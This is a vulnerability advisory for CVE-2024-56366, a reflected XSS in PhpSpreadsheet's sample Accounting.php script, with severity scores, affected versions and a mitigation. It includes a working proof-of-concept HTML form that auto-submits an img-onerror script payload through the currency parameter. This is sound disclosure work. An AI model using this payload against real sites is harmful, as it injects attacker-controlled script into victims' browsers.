CVE-2024-56366
HIGH7.1EPSS 1.2%PhpSpreadsheet allows unauthorized Reflected XSS in the Accounting.php file
Description
# Unauthorized Reflected XSS in the `Accounting.php` file **Product**: Phpspreadsheet **Version**: version 3.6.0 **CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') **CVSS vector v.3.1**: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N) **CVSS vector v.4.0**: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L) **Description**: using the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php` script, an attacker can perform a XSS-type attack **Impact**: executing arbitrary JavaScript code in the browser **Vulnerable component**: the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php` file **Exploitation conditions**: an unauthorized user **Mitigation**: sanitization of the currency variable **Researcher**: Aleksey Solovev (Positive Technologies) # Research The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in `Accounting.php` file) in Phpspreadsheet. There is no sanitization in the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php` file, which leads to the possibility of a XSS attack. Strings are formed using the currency parameter without sanitization, which is controlled by the attacker.  *Figure 7. A fragment of the query in which a string and a parameter are formed without sanitization* An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario. *Listing 4. HTML form that demonstrates the exploitation of the XSS vulnerability* ``` <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php" method="POST"> <input type="hidden" name="number" value="1234.5678" /> <input type="hidden" name="currency" value="$<img src=1 onerror=alert()>" /> <input type="hidden" name="decimals" value="2" /> <input type="hidden" name="position" value="1" /> <input type="hidden" name="spacing" value="0" /> <input type="hidden" name="submit" value="Display Mask" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html> ``` After sending the script provided in Listing 4, the XSS vulnerability is exploited. Figure 8 shows the execution of arbitrary JavaScript code during the submission of a POST form. <img width="460" alt="fig8" src="https://github.com/user-attachments/assets/b009256e-61f7-4d72-8f6a-cc6e0efe2bb1" /> *Figure 8. Executing arbitrary JavaScript code* # Credit This vulnerability was discovered by **Aleksey Solovev (Positive Technologies)**
Affected packages (2)
- Packagist/phpoffice/phpexcelfrom 0, <= 1.8.2
- Packagist/phpoffice/phpspreadsheet>= 3.0.0, < 3.7.0
CVSS scores
| Source | Version | Severity | Vector |
|---|---|---|---|
| osv | CVSS 4.0 | — | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L |
| osv | CVSS 3.1 | HIGH7.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N |